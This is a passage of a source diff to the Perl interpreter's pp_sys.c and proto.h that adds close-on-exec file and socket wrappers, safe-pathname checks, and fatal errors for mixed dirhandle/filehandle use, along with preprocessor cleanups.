 #ifdef HAS_SETREGID
     if (setregid(rgid, egid))
-#else
-#ifdef HAS_SETRESGID
+#elif defined(HAS_SETRESGID)
     if (setresgid(rgid, egid, (Gid_t)-1))
 #endif
-#endif
 	/* diag_listed_as: leaving effective %s failed */
 	Perl_croak(aTHX_ "leaving effective gid failed");
 
@@ -431,7 +417,7 @@
     }
     else if (SP == MARK) {
 	exsv = &PL_sv_no;
-	EXTEND(SP, 1);
+	MEXTEND(SP, 1);
 	SP = MARK + 1;
     }
     else {
@@ -629,8 +615,7 @@
 	IoFLAGS(GvIOp(gv)) &= ~IOf_UNTAINT;
 
 	if (IoDIRP(io))
-	    Perl_ck_warner_d(aTHX_ packWARN2(WARN_IO, WARN_DEPRECATED),
-			     "Opening dirhandle %" HEKf " also as a file. This will be a fatal error in Perl 5.28",
+	    Perl_croak(aTHX_ "Cannot open %" HEKf " as a filehandle: it is already open as a dirhandle",
 			     HEKfARG(GvENAME_HEK(gv)));
 
 	mg = SvTIED_mg((const SV *)io, PERL_MAGIC_tiedscalar);
@@ -656,7 +641,7 @@
     if (ok)
 	PUSHi( (I32)PL_forkprocess );
     else if (PL_forkprocess == 0)		/* we are a new child */
-	PUSHi(0);
+	PUSHs(&PL_sv_zero);
     else
 	RETPUSHUNDEF;
     RETURN;
@@ -665,6 +650,8 @@
 PP(pp_close)
 {
     dSP;
+    /* pp_coreargs pushes a NULL to indicate no args passed to
+     * CORE::close() */
     GV * const gv =
 	MAXARG == 0 || (!TOPs && !POPs) ? PL_defoutgv : MUTABLE_GV(POPs);
 
@@ -703,7 +690,7 @@
     if (IoIFP(wstio))
 	do_close(wgv, FALSE);
 
-    if (PerlProc_pipe(fd) < 0)
+    if (PerlProc_pipe_cloexec(fd) < 0)
 	goto badexit;
 
     IoIFP(rstio) = PerlIO_fdopen(fd[0], "r" PIPE_OPEN_MODE);
@@ -724,12 +711,6 @@
 	    PerlLIO_close(fd[1]);
 	goto badexit;
     }
-#if defined(HAS_FCNTL) && defined(F_SETFD) && defined(FD_CLOEXEC)
-    /* ensure close-on-exec */
-    if ((fd[0] > PL_maxsysfd && fcntl(fd[0], F_SETFD, FD_CLOEXEC) < 0) ||
-        (fd[1] > PL_maxsysfd && fcntl(fd[1], F_SETFD, FD_CLOEXEC) < 0))
-        goto badexit;
-#endif
     RETPUSHYES;
 
   badexit:
@@ -1030,7 +1011,7 @@
 
     if ((mg = SvTIED_mg(sv, how))) {
 	SV * const obj = SvRV(SvTIED_obj(sv, mg));
-        if (obj) {
+        if (obj && SvSTASH(obj)) {
 	    GV * const gv = gv_fetchmethod_autoload(SvSTASH(obj), "UNTIE", FALSE);
 	    CV *cv;
 	    if (gv && isGV(gv) && (cv = GvCV(gv))) {
@@ -1150,6 +1131,7 @@
     struct timeval *tbuf = &timebuf;
     I32 growsize;
     char *fd_sets[4];
+    SV *svs[4];
 #if BYTEORDER != 0x1234 && BYTEORDER != 0x12345678
 	I32 masksize;
 	I32 offset;
@@ -1165,7 +1147,7 @@
 
     SP -= 4;
     for (i = 1; i <= 3; i++) {
-	SV * const sv = SP[i];
+	SV * const sv = svs[i] = SP[i];
 	SvGETMAGIC(sv);
 	if (!SvOK(sv))
 	    continue;
@@ -1178,9 +1160,14 @@
 	    if (!SvPOKp(sv))
 		Perl_ck_warner(aTHX_ packWARN(WARN_MISC),
 				    "Non-string passed as bitmask");
-	    SvPV_force_nomg_nolen(sv);	/* force string conversion */
+	    if (SvGAMAGIC(sv)) {
+		svs[i] = sv_newmortal();
+		sv_copypv_nomg(svs[i], sv);
+	    }
+	    else
+		SvPV_force_nomg_nolen(sv); /* force string conversion */
 	}
-	j = SvCUR(sv);
+	j = SvCUR(svs[i]);
 	if (maxlen < j)
 	    maxlen = j;
     }
@@ -1229,7 +1216,7 @@
 	tbuf = NULL;
 
     for (i = 1; i <= 3; i++) {
-	sv = SP[i];
+	sv = svs[i];
 	if (!SvOK(sv) || SvCUR(sv) == 0) {
 	    fd_sets[i] = 0;
 	    continue;
@@ -1276,7 +1263,7 @@
 #endif
     for (i = 1; i <= 3; i++) {
 	if (fd_sets[i]) {
-	    sv = SP[i];
+	    sv = svs[i];
 #if BYTEORDER != 0x1234 && BYTEORDER != 0x12345678
 	    s = SvPVX(sv);
 	    for (offset = 0; offset < growsize; offset += masksize) {
@@ -1285,7 +1272,10 @@
 	    }
 	    Safefree(fd_sets[i]);
 #endif
-	    SvSETMAGIC(sv);
+	    if (sv != SP[i])
+		SvSetMagicSV(SP[i], sv);
+	    else
+		SvSETMAGIC(sv);
 	}
     }
 
@@ -1361,6 +1351,8 @@
 PP(pp_getc)
 {
     dSP; dTARGET;
+    /* pp_coreargs pushes a NULL to indicate no args passed to
+     * CORE::getc() */
     GV * const gv =
 	MAXARG==0 || (!TOPs && !POPs) ? PL_stdingv : MUTABLE_GV(POPs);
     IO *const io = GvIO(gv);
@@ -1511,10 +1503,11 @@
 	if (IoFLAGS(io) & IOf_DIDTOP) {	/* Oh dear.  It still doesn't fit. */
 	    I32 lines = IoLINES_LEFT(io);
 	    const char *s = SvPVX_const(PL_formtarget);
+            const char *e = SvEND(PL_formtarget);
 	    if (lines <= 0)		/* Yow, header didn't even fit!!! */
 		goto forget_top;
 	    while (lines-- > 0) {
-		s = strchr(s, '\n');
+		s = (char *) memchr(s, '\n', e - s);
 		if (!s)
 		    break;
 		s++;
@@ -1555,6 +1548,8 @@
     retop = cx->blk_sub.retop;
     CX_POP(cx);
 
+    EXTEND(SP, 1);
+
     if (is_return)
         /* XXX the semantics of doing 'return' in a format aren't documented.
          * Currently we ignore any args to 'return' and just return
@@ -1659,7 +1654,7 @@
 
     /* Need TIEHANDLE method ? */
     const char * const tmps = SvPV_const(sv, len);
-    if (do_open_raw(gv, tmps, len, mode, perm)) {
+    if (do_open_raw(gv, tmps, len, mode, perm, NULL)) {
 	IoLINES(GvIOp(gv)) = 0;
 	PUSHs(&PL_sv_yes);
     }
@@ -1759,7 +1754,7 @@
 	char namebuf[MAXPATHLEN];
         if (fd < 0) {
             SETERRNO(EBADF,SS_IVCHAN);
-            RETPUSHUNDEF;
+            goto say_undef;
         }
 #if (defined(VMS_DO_SOCKETS) && defined(DECCRTL_SOCKETS)) || defined(__QNXNTO__)
 	bufsize = sizeof (struct sockaddr_in);
@@ -1775,7 +1770,7 @@
 	count = PerlSock_recvfrom(fd, buffer, length, offset,
 				  (struct sockaddr *)namebuf, &bufsize);
 	if (count < 0)
-	    RETPUSHUNDEF;
+            goto say_undef;
 	/* MSG_TRUNC can give oversized count; quietly lose it */
 	if (count > length)
 	    count = length;
@@ -2378,7 +2373,7 @@
                  */
                 mode |= O_BINARY;
 #endif
-                tmpfd = PerlLIO_open(name, mode);
+                tmpfd = PerlLIO_open_cloexec(name, mode);
 
 		if (tmpfd < 0) {
 		    result = 0;
@@ -2448,13 +2443,11 @@
     else
 #ifndef HAS_FCNTL
       DIE(aTHX_ "fcntl is not implemented");
-#else
-#if defined(OS2) && defined(__EMX__)
+#elif defined(OS2) && defined(__EMX__)
 	retval = fcntl(PerlIO_fileno(IoIFP(io)), func, (int)s);
 #else
 	retval = fcntl(PerlIO_fileno(IoIFP(io)), func, s);
 #endif
-#endif
 
 #if defined(HAS_IOCTL) || defined(HAS_FCNTL)
     if (SvPOK(argsv)) {
@@ -2522,7 +2515,7 @@
 	do_close(gv, FALSE);
 
     TAINT_PROPER("socket");
-    fd = PerlSock_socket(domain, type, protocol);
+    fd = PerlSock_socket_cloexec(domain, type, protocol);
     if (fd < 0) {
 	RETPUSHUNDEF;
     }
@@ -2535,11 +2528,6 @@
 	if (!IoIFP(io) && !IoOFP(io)) PerlLIO_close(fd);
 	RETPUSHUNDEF;
     }
-#if defined(HAS_FCNTL) && defined(F_SETFD) && defined(FD_CLOEXEC)
-    /* ensure close-on-exec */
-    if (fd > PL_maxsysfd && fcntl(fd, F_SETFD, FD_CLOEXEC) < 0)
-	RETPUSHUNDEF;
-#endif
 
     RETPUSHYES;
 }
@@ -2565,7 +2553,7 @@
 	do_close(gv2, FALSE);
 
     TAINT_PROPER("socketpair");
-    if (PerlSock_socketpair(domain, type, protocol, fd) < 0)
+    if (PerlSock_socketpair_cloexec(domain, type, protocol, fd) < 0)
 	RETPUSHUNDEF;
     IoIFP(io1) = PerlIO_fdopen(fd[0], "r" SOCKET_OPEN_MODE);
     IoOFP(io1) = PerlIO_fdopen(fd[0], "w" SOCKET_OPEN_MODE);
@@ -2582,12 +2570,6 @@
 	if (!IoIFP(io2) && !IoOFP(io2)) PerlLIO_close(fd[1]);
 	RETPUSHUNDEF;
     }
-#if defined(HAS_FCNTL) && defined(F_SETFD) && defined(FD_CLOEXEC)
-    /* ensure close-on-exec */
-    if ((fd[0] > PL_maxsysfd && fcntl(fd[0], F_SETFD, FD_CLOEXEC) < 0) ||
-        (fd[1] > PL_maxsysfd && fcntl(fd[1], F_SETFD, FD_CLOEXEC) < 0))
-	RETPUSHUNDEF;
-#endif
 
     RETPUSHYES;
 #else
@@ -2674,7 +2656,7 @@
 	goto nuts;
 
     nstio = GvIOn(ngv);
-    fd = PerlSock_accept(PerlIO_fileno(IoIFP(gstio)), (struct sockaddr *) namebuf, &len);
+    fd = PerlSock_accept_cloexec(PerlIO_fileno(IoIFP(gstio)), (struct sockaddr *) namebuf, &len);
 #if defined(OEMVS)
     if (len == 0) {
 	/* Some platforms indicate zero length when an AF_UNIX client is
@@ -2699,11 +2681,6 @@
 	if (!IoIFP(nstio) && !IoOFP(nstio)) PerlLIO_close(fd);
 	goto badexit;
     }
-#if defined(HAS_FCNTL) && defined(F_SETFD) && defined(FD_CLOEXEC)
-    /* ensure close-on-exec */
-    if (fd > PL_maxsysfd && fcntl(fd, F_SETFD, FD_CLOEXEC) < 0)
-        goto badexit;
-#endif
 
 #ifdef __SCO_VERSION__
     len = sizeof (struct sockaddr_in); /* OpenUNIX 8 somehow truncates info */
@@ -2916,10 +2893,11 @@
 		Perl_croak(aTHX_ "The stat preceding lstat() wasn't an lstat");
 	}
 
-	if (gv != PL_defgv) {
-	    bool havefp;
+	if (gv == PL_defgv) {
+	    if (PL_laststatval < 0)
+		SETERRNO(EBADF,RMS_IFI);
+	} else {
           do_fstat_have_io:
-	    havefp = FALSE;
 	    PL_laststype = OP_STAT;
 	    PL_statgv = gv ? gv : (GV *)io;
             SvPVCLEAR(PL_statname);
@@ -2930,22 +2908,25 @@
                     if (IoIFP(io)) {
                         int fd = PerlIO_fileno(IoIFP(io));
                         if (fd < 0) {
+			    report_evil_fh(gv);
                             PL_laststatval = -1;
                             SETERRNO(EBADF,RMS_IFI);
                         } else {
                             PL_laststatval = PerlLIO_fstat(fd, &PL_statcache);
-                            havefp = TRUE;
                         }
                     } else if (IoDIRP(io)) {
                         PL_laststatval =
                             PerlLIO_fstat(my_dirfd(IoDIRP(io)), &PL_statcache);
-                        havefp = TRUE;
                     } else {
+			report_evil_fh(gv);
                         PL_laststatval = -1;
+			SETERRNO(EBADF,RMS_IFI);
                     }
-            }
-	    else PL_laststatval = -1;
-	    if (PL_laststatval < 0 && !havefp) report_evil_fh(gv);
+            } else {
+		report_evil_fh(gv);
+		PL_laststatval = -1;
+		SETERRNO(EBADF,RMS_IFI);
+	    }
         }
 
 	if (PL_laststatval < 0) {
@@ -2954,6 +2935,8 @@
     }
     else {
         const char *file;
+        const char *temp;
+        STRLEN len;
 	if (SvROK(sv) && SvTYPE(SvRV(sv)) == SVt_PVIO) { 
             io = MUTABLE_IO(SvRV(sv));
             if (PL_op->op_type == OP_LSTAT)
@@ -2960,13 +2943,16 @@
                 goto do_fstat_warning_check;
             goto do_fstat_have_io; 
         }
-        
 	SvTAINTED_off(PL_statname); /* previous tainting irrelevant */
-	sv_setpv(PL_statname, SvPV_nomg_const_nolen(sv));
+        temp = SvPV_nomg_const(sv, len);
+	sv_setpv(PL_statname, temp);
 	PL_statgv = NULL;
 	PL_laststype = PL_op->op_type;
         file = SvPV_nolen_const(PL_statname);
-	if (PL_op->op_type == OP_LSTAT)
+        if (!IS_SAFE_PATHNAME(temp, len, OP_NAME(PL_op))) {
+            PL_laststatval = -1;
+        }
+	else if (PL_op->op_type == OP_LSTAT)
 	    PL_laststatval = PerlLIO_lstat(file, &PL_statcache);
 	else
 	    PL_laststatval = PerlLIO_stat(file, &PL_statcache);
@@ -2973,9 +2959,9 @@
 	if (PL_laststatval < 0) {
 	    if (ckWARN(WARN_NEWLINE) && should_warn_nl(file)) {
                 /* PL_warn_nl is constant */
-                GCC_DIAG_IGNORE(-Wformat-nonliteral);
+                GCC_DIAG_IGNORE_STMT(-Wformat-nonliteral);
 		Perl_warner(aTHX_ packWARN(WARN_NEWLINE), PL_warn_nl, "stat");
-                GCC_DIAG_RESTORE;
+                GCC_DIAG_RESTORE_STMT;
             }
 	    max = 0;
 	}
@@ -2991,15 +2977,63 @@
 	EXTEND(SP, max);
 	EXTEND_MORTAL(max);
 	mPUSHi(PL_statcache.st_dev);
-#if ST_INO_SIZE > IVSIZE
-	mPUSHn(PL_statcache.st_ino);
-#else
-#   if ST_INO_SIGN <= 0
-	mPUSHi(PL_statcache.st_ino);
-#   else
-	mPUSHu(PL_statcache.st_ino);
-#   endif
-#endif
+	{
+	    /*
+	     * We try to represent st_ino as a native IV or UV where
+	     * possible, but fall back to a decimal string where
+	     * necessary.  The code to generate these decimal strings
+	     * is quite obtuse, because (a) we're portable to non-POSIX
+	     * platforms where st_ino might be signed; (b) we didn't
+	     * necessarily detect at Configure time whether st_ino is
+	     * signed; (c) we're portable to non-POSIX platforms where
+	     * ino_t isn't defined, so have no name for the type of
+	     * st_ino; and (d) sprintf() doesn't necessarily support
+	     * integers as large as st_ino.
+	     */
+	    bool neg;
+	    Stat_t s;
+	    CLANG_DIAG_IGNORE_STMT(-Wtautological-compare);
+	    GCC_DIAG_IGNORE_STMT(-Wtype-limits);
+	    neg = PL_statcache.st_ino < 0;
+	    GCC_DIAG_RESTORE_STMT;
+	    CLANG_DIAG_RESTORE_STMT;
+	    if (neg) {
+		s.st_ino = (IV)PL_statcache.st_ino;
+		if (LIKELY(s.st_ino == PL_statcache.st_ino)) {
+		    mPUSHi(s.st_ino);
+		} else {
+		    char buf[sizeof(s.st_ino)*3+1], *p;
+		    s.st_ino = PL_statcache.st_ino;
+		    for (p = buf + sizeof(buf); p != buf+1; ) {
+			Stat_t t;
+			t.st_ino = s.st_ino / 10;
+			*--p = '0' + (int)(t.st_ino*10 - s.st_ino);
+			s.st_ino = t.st_ino;
+		    }
+		    while (*p == '0')
+			p++;
+		    *--p = '-';
+		    mPUSHp(p, buf+sizeof(buf) - p);
+		}
+	    } else {
+		s.st_ino = (UV)PL_statcache.st_ino;
+		if (LIKELY(s.st_ino == PL_statcache.st_ino)) {
+		    mPUSHu(s.st_ino);
+		} else {
+		    char buf[sizeof(s.st_ino)*3], *p;
+		    s.st_ino = PL_statcache.st_ino;
+		    for (p = buf + sizeof(buf); p != buf; ) {
+			Stat_t t;
+			t.st_ino = s.st_ino / 10;
+			*--p = '0' + (int)(s.st_ino - t.st_ino*10);
+			s.st_ino = t.st_ino;
+		    }
+		    while (*p == '0')
+			p++;
+		    mPUSHp(p, buf+sizeof(buf) - p);
+		}
+	    }
+	}
 	mPUSHu(PL_statcache.st_mode);
 	mPUSHu(PL_statcache.st_nlink);
 	
@@ -3060,7 +3094,7 @@
     PUTBACK;
 
     if (PL_op->op_private & OPpFT_STACKING) {
-        while (OP_IS_FILETEST(next->op_type)
+        while (next && OP_IS_FILETEST(next->op_type)
                && next->op_private & OPpFT_STACKED)
             next = next->op_next;
     }
@@ -3202,8 +3236,12 @@
 
     if (use_access) {
 #if defined(HAS_ACCESS) || defined (PERL_EFF_ACCESS)
-	const char *name = SvPV_nolen(*PL_stack_sp);
-	if (effective) {
+        STRLEN len;
+	const char *name = SvPV(*PL_stack_sp, len);
+        if (!IS_SAFE_PATHNAME(name, len, OP_NAME(PL_op))) {
+            result = -1;
+        }
+	else if (effective) {
 #  ifdef PERL_EFF_ACCESS
 	    result = PERL_EFF_ACCESS(name, access_mode);
 #  else
@@ -3283,7 +3321,7 @@
 	    break;
 	}
 	SvSETMAGIC(TARG);
-	return SvTRUE_nomg(TARG)
+	return SvTRUE_nomg_NN(TARG)
             ? S_ft_return_true(aTHX_ TARG) : S_ft_return_false(aTHX_ TARG);
     }
 }
@@ -3314,24 +3352,6 @@
     }
     tryAMAGICftest_MG(opchar);
 
-    /* I believe that all these three are likely to be defined on most every
-       system these days.  */
-#ifndef S_ISUID
-    if(PL_op->op_type == OP_FTSUID) {
-	FT_RETURNNO;
-    }
-#endif
-#ifndef S_ISGID
-    if(PL_op->op_type == OP_FTSGID) {
-	FT_RETURNNO;
-    }
-#endif
-#ifndef S_ISVTX
-    if(PL_op->op_type == OP_FTSVTX) {
-	FT_RETURNNO;
-    }
-#endif
-
     result = my_stat_flags(0);
     if (result < 0)
 	FT_RETURNUNDEF;
@@ -3433,7 +3453,7 @@
     else if (name && isDIGIT(*name) && grok_atoUV(name, &uv, NULL) && uv <= PERL_INT_MAX)
         fd = (int)uv;
     else
-	FT_RETURNUNDEF;
+	fd = -1;
     if (fd < 0) {
         SETERRNO(EBADF,RMS_IFI);
 	FT_RETURNUNDEF;
@@ -3457,6 +3477,7 @@
     SV *sv = NULL;
     GV *gv;
     PerlIO *fp;
+    const U8 * first_variant;
 
     tryAMAGICftest_MG(PL_op->op_type == OP_FTTEXT ? 'T' : 'B');
 
@@ -3528,10 +3549,18 @@
     }
     else {
         const char *file;
+        const char *temp;
+        STRLEN temp_len;
         int fd; 
 
         assert(sv);
-	sv_setpv(PL_statname, SvPV_nomg_const_nolen(sv));
+        temp = SvPV_nomg_const(sv, temp_len);
+	sv_setpv(PL_statname, temp);
+        if (!IS_SAFE_PATHNAME(temp, temp_len, OP_NAME(PL_op))) {
+            PL_laststatval = -1;
+            PL_laststype = OP_STAT;
+            FT_RETURNUNDEF;
+        }
       really_filename:
         file = SvPVX_const(PL_statname);
 	PL_statgv = NULL;
@@ -3542,9 +3571,9 @@
 	    }
 	    if (ckWARN(WARN_NEWLINE) && should_warn_nl(file)) {
                 /* PL_warn_nl is constant */
-                GCC_DIAG_IGNORE(-Wformat-nonliteral);
+                GCC_DIAG_IGNORE_STMT(-Wformat-nonliteral);
 		Perl_warner(aTHX_ packWARN(WARN_NEWLINE), PL_warn_nl, "open");
-                GCC_DIAG_RESTORE;
+                GCC_DIAG_RESTORE_STMT;
             }
 	    FT_RETURNUNDEF;
 	}
@@ -3582,11 +3611,14 @@
 #endif
 
     assert(len);
-    if (! is_utf8_invariant_string((U8 *) s, len)) {
+    if (! is_utf8_invariant_string_loc((U8 *) s, len, &first_variant)) {
 
         /* Here contains a variant under UTF-8 .  See if the entire string is
          * UTF-8. */
-        if (is_utf8_fixed_width_buf_flags((U8 *) s, len, 0)) {
+        if (is_utf8_fixed_width_buf_flags(first_variant,
+                                          len - ((char *) first_variant - (char *) s),
+                                          0))
+        {
             if (PL_op->op_type == OP_FTTEXT) {
                 FT_RETURNYES;
             }
@@ -3650,7 +3682,7 @@
                                 "chdir() on unopened filehandle %" SVf, sv);
                 }
                 SETERRNO(EBADF,RMS_IFI);
-                PUSHi(0);
+                PUSHs(&PL_sv_zero);
                 TAINT_PROPER("chdir");
                 RETURN;
             }
@@ -3673,7 +3705,7 @@
             tmps = SvPV_nolen_const(*svp);
         }
         else {
-            PUSHi(0);
+            PUSHs(&PL_sv_zero);
             SETERRNO(EINVAL, LIB_INVARG);
             TAINT_PROPER("chdir");
             RETURN;
@@ -3718,7 +3750,7 @@
  nuts:
     report_evil_fh(gv);
     SETERRNO(EBADF,RMS_IFI);
-    PUSHi(0);
+    PUSHs(&PL_sv_zero);
     RETURN;
 #endif
 }
@@ -3801,20 +3833,16 @@
 	const char * const tmps = SvPV_nolen_const(TOPs);
 	TAINT_PROPER(PL_op_desc[op_type]);
 	result =
-#  if defined(HAS_LINK)
-#    if defined(HAS_SYMLINK)
+#  if defined(HAS_LINK) && defined(HAS_SYMLINK)
 	    /* Both present - need to choose which.  */
 	    (op_type == OP_LINK) ?
 	    PerlLIO_link(tmps, tmps2) : symlink(tmps, tmps2);
-#    else
+#  elif defined(HAS_LINK)
     /* Only have link, so calls to pp_symlink will have DIE()d above.  */
 	PerlLIO_link(tmps, tmps2);
-#    endif
-#  else
-#    if defined(HAS_SYMLINK)
+#  elif defined(HAS_SYMLINK)
     /* Only have symlink, so calls to pp_link will have DIE()d above.  */
 	symlink(tmps, tmps2);
-#    endif
 #  endif
     }
 
@@ -4021,9 +4049,8 @@
     IO * const io = GvIOn(gv);
 
     if ((IoIFP(io) || IoOFP(io)))
-	Perl_ck_warner_d(aTHX_ packWARN2(WARN_IO, WARN_DEPRECATED),
-			 "Opening filehandle %" HEKf " also as a directory. This will be a fatal error in Perl 5.28",
-			     HEKfARG(GvENAME_HEK(gv)) );
+	Perl_croak(aTHX_ "Cannot open %" HEKf " as a dirhandle: it is already open as a filehandle",
+			 HEKfARG(GvENAME_HEK(gv)));
     if (IoDIRP(io))
 	PerlDir_close(IoDIRP(io));
     if (!(IoDIRP(io) = PerlDir_open(dirname)))
@@ -4247,8 +4274,7 @@
     }
     PUSHi(childpid);
     RETURN;
-#else
-#  if (defined(USE_ITHREADS) && defined(PERL_IMPLICIT_SYS)) || defined(__amigaos4__)
+#elif (defined(USE_ITHREADS) && defined(PERL_IMPLICIT_SYS)) || defined(__amigaos4__)
     dSP; dTARGET;
     Pid_t childpid;
 
@@ -4259,9 +4285,8 @@
 	RETPUSHUNDEF;
     PUSHi(childpid);
     RETURN;
-#  else
+#else
     DIE(aTHX_ PL_no_func, "fork");
-#  endif
 #endif
 }
 
@@ -4345,14 +4370,45 @@
     int result;
 # endif
 
+    while (++MARK <= SP) {
+	SV *origsv = *MARK, *copysv;
+	STRLEN len;
+	char *pv;
+	SvGETMAGIC(origsv);
+#if defined(WIN32) || defined(__VMS)
+	/*
+	 * Because of a nasty platform-specific variation on the meaning
+	 * of arguments to this op, we must preserve numeric arguments
+	 * as numeric, not just retain the string value.
+	 */
+	if (SvNIOK(origsv) || SvNIOKp(origsv)) {
+	    copysv = newSV_type(SVt_PVNV);
+	    sv_2mortal(copysv);
+	    if (SvPOK(origsv) || SvPOKp(origsv)) {
+		pv = SvPV_nomg(origsv, len);
+		sv_setpvn(copysv, pv, len);
+		SvPOK_off(copysv);
+	    }
+	    if (SvIOK(origsv) || SvIOKp(origsv))
+		SvIV_set(copysv, SvIVX(origsv));
+	    if (SvNOK(origsv) || SvNOKp(origsv))
+		SvNV_set(copysv, SvNVX(origsv));
+	    SvFLAGS(copysv) |= SvFLAGS(origsv) &
+		(SVf_IOK|SVf_NOK|SVf_POK|SVp_IOK|SVp_NOK|SVp_POK|
+		    SVf_UTF8|SVf_IVisUV);
+	} else
+#endif
+	{
+	    pv = SvPV_nomg(origsv, len);
+	    copysv = newSVpvn_flags(pv, len,
+			(SvFLAGS(origsv) & SVf_UTF8) | SVs_TEMP);
+	}
+	*MARK = copysv;
+    }
+    MARK = ORIGMARK;
+
     if (TAINTING_get) {
 	TAINT_ENV();
-	while (++MARK <= SP) {
-	    (void)SvPV_nolen_const(*MARK);      /* stringify for taint check */
-	    if (TAINT_get)
-		break;
-	}
-	MARK = ORIGMARK;
 	TAINT_PROPER("system");
     }
     PERL_FLUSHALL_FOR_CHILD;
@@ -4371,7 +4427,7 @@
 	sigset_t newset, oldset;
 #endif
 
-	if (PerlProc_pipe(pp) >= 0)
+	if (PerlProc_pipe_cloexec(pp) >= 0)
 	    did_pipes = 1;
 #ifdef __amigaos4__
         amigaos_fork_set_userdata(aTHX_
@@ -4433,7 +4489,6 @@
 	    (void)rsignal_restore(SIGQUIT, &qhand);
 #endif
 	    STATUS_NATIVE_CHILD_SET(result == -1 ? -1 : status);
-	    do_execfree();	/* free any memory child malloced on fork */
 	    SP = ORIGMARK;
 	    if (did_pipes) {
 		int errkid;
@@ -4469,13 +4524,8 @@
 #ifdef HAS_SIGPROCMASK
 	sigprocmask(SIG_SETMASK, &oldset, NULL);
 #endif
-	if (did_pipes) {
+	if (did_pipes)
 	    PerlLIO_close(pp[0]);
-#if defined(HAS_FCNTL) && defined(F_SETFD) && defined(FD_CLOEXEC)
-	    if (fcntl(pp[1], F_SETFD, FD_CLOEXEC) < 0)
-                RETPUSHUNDEF;
-#endif
-	}
 	if (PL_op->op_flags & OPf_STACKED) {
 	    SV * const really = *++MARK;
 	    value = (I32)do_aexec5(really, MARK, SP, pp[1], did_pipes);
@@ -4512,7 +4562,6 @@
     if (PL_statusvalue == -1)	/* hint that value must be returned as is */
 	result = 1;
     STATUS_NATIVE_CHILD_SET(value);
-    do_execfree();
     SP = ORIGMARK;
     XPUSHi(result ? value : STATUS_CURRENT);
 #endif /* !FORK or VMS or OS/2 */
@@ -4688,8 +4737,7 @@
 	mPUSHn(((NV)timesbuf.tms_cstime)/(NV)PL_clocktick);
     }
     RETURN;
-#else
-#   ifdef PERL_MICRO
+#elif defined(PERL_MICRO)
     dSP;
     mPUSHn(0.0);
     EXTEND(SP, 4);
@@ -4699,9 +4747,8 @@
 	 mPUSHn(0.0);
     }
     RETURN;
-#   else
+#else
     DIE(aTHX_ "times not implemented");
-#   endif
 #endif /* HAS_TIMES */
 }
 
@@ -4862,7 +4909,7 @@
           Perl_ck_warner_d(aTHX_ packWARN(WARN_MISC),
                            "sleep() with negative argument");
           SETERRNO(EINVAL, LIB_INVARG);
-          XPUSHi(0);
+          XPUSHs(&PL_sv_zero);
           RETURN;
         } else {
           PerlProc_sleep((unsigned int)duration);
@@ -5547,17 +5594,13 @@
 	 * but we are accursed by our history, alas. --jhi.  */
 #   ifdef PWCHANGE
 	mPUSHi(pwent->pw_change);
-#   else
-#       ifdef PWQUOTA
+#   elif defined(PWQUOTA)
 	mPUSHi(pwent->pw_quota);
-#       else
-#           ifdef PWAGE
+#   elif defined(PWAGE)
 	mPUSHs(newSVpv(pwent->pw_age, 0));
-#	    else
+#   else
 	/* I think that you can never get this compiled, but just in case.  */
 	PUSHs(sv_mortalcopy(&PL_sv_no));
-#           endif
-#       endif
 #   endif
 
 	/* pw_class and pw_comment are mutually exclusive--.
@@ -5564,13 +5607,11 @@
 	 * see the above note for pw_change, pw_quota, and pw_age. */
 #   ifdef PWCLASS
 	mPUSHs(newSVpv(pwent->pw_class, 0));
+#   elif defined(PWCOMMENT)
+	mPUSHs(newSVpv(pwent->pw_comment, 0));
 #   else
-#       ifdef PWCOMMENT
-	mPUSHs(newSVpv(pwent->pw_comment, 0));
-#	else
 	/* I think that you can never get this compiled, but just in case.  */
 	PUSHs(sv_mortalcopy(&PL_sv_no));
-#       endif
 #   endif
 
 #   ifdef PWGECOS

Modified: vendor/perl/dist/proto.h
===================================================================
--- vendor/perl/dist/proto.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/proto.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -35,6 +35,21 @@
 #endif
 
 PERL_CALLCONV const char *	Perl_PerlIO_context_layers(pTHX_ const char *mode);
+PERL_CALLCONV int	Perl_PerlLIO_dup2_cloexec(pTHX_ int oldfd, int newfd);
+PERL_CALLCONV int	Perl_PerlLIO_dup_cloexec(pTHX_ int oldfd)
+			__attribute__warn_unused_result__;
+
+PERL_CALLCONV int	Perl_PerlLIO_open3_cloexec(pTHX_ const char *file, int flag, int perm)
+			__attribute__warn_unused_result__;
+#define PERL_ARGS_ASSERT_PERLLIO_OPEN3_CLOEXEC	\
+	assert(file)
+
+PERL_CALLCONV int	Perl_PerlLIO_open_cloexec(pTHX_ const char *file, int flag)
+			__attribute__warn_unused_result__;
+#define PERL_ARGS_ASSERT_PERLLIO_OPEN_CLOEXEC	\
+	assert(file)
+
+PERL_CALLCONV const char*	Perl_setlocale(const int category, const char* locale);
 PERL_CALLCONV void*	Perl_Slab_Alloc(pTHX_ size_t sz)
 			__attribute__warn_unused_result__;
 
@@ -41,12 +56,17 @@
 PERL_CALLCONV void	Perl_Slab_Free(pTHX_ void *op);
 #define PERL_ARGS_ASSERT_SLAB_FREE	\
 	assert(op)
-PERL_CALLCONV char *	Perl__byte_dump_string(pTHX_ const U8 * s, const STRLEN len, const bool format);
+PERL_CALLCONV char *	Perl__byte_dump_string(pTHX_ const U8 * const start, const STRLEN len, const bool format);
 #define PERL_ARGS_ASSERT__BYTE_DUMP_STRING	\
-	assert(s)
+	assert(start)
 PERL_CALLCONV void	Perl__force_out_malformed_utf8_message(pTHX_ const U8 *const p, const U8 * const e, const U32 flags, const bool die_here);
 #define PERL_ARGS_ASSERT__FORCE_OUT_MALFORMED_UTF8_MESSAGE	\
 	assert(p); assert(e)
+PERL_CALLCONV Size_t	Perl__inverse_folds(pTHX_ const UV cp, unsigned int * first_folds_to, const unsigned int ** remaining_folds_to)
+			__attribute__warn_unused_result__;
+#define PERL_ARGS_ASSERT__INVERSE_FOLDS	\
+	assert(first_folds_to); assert(remaining_folds_to)
+
 PERL_CALLCONV bool	Perl__is_in_locale_category(pTHX_ const bool compiling, const int category);
 PERL_CALLCONV bool	Perl__is_uni_FOO(pTHX_ const U8 classnum, const UV c)
 			__attribute__warn_unused_result__;
@@ -200,6 +220,9 @@
 #define PERL_ARGS_ASSERT_AV_MAKE	\
 	assert(strp)
 
+PERL_CALLCONV SV*	Perl_av_nonelem(pTHX_ AV *av, SSize_t ix);
+#define PERL_ARGS_ASSERT_AV_NONELEM	\
+	assert(av)
 PERL_CALLCONV SV*	Perl_av_pop(pTHX_ AV *av);
 #define PERL_ARGS_ASSERT_AV_POP	\
 	assert(av)
@@ -256,12 +279,15 @@
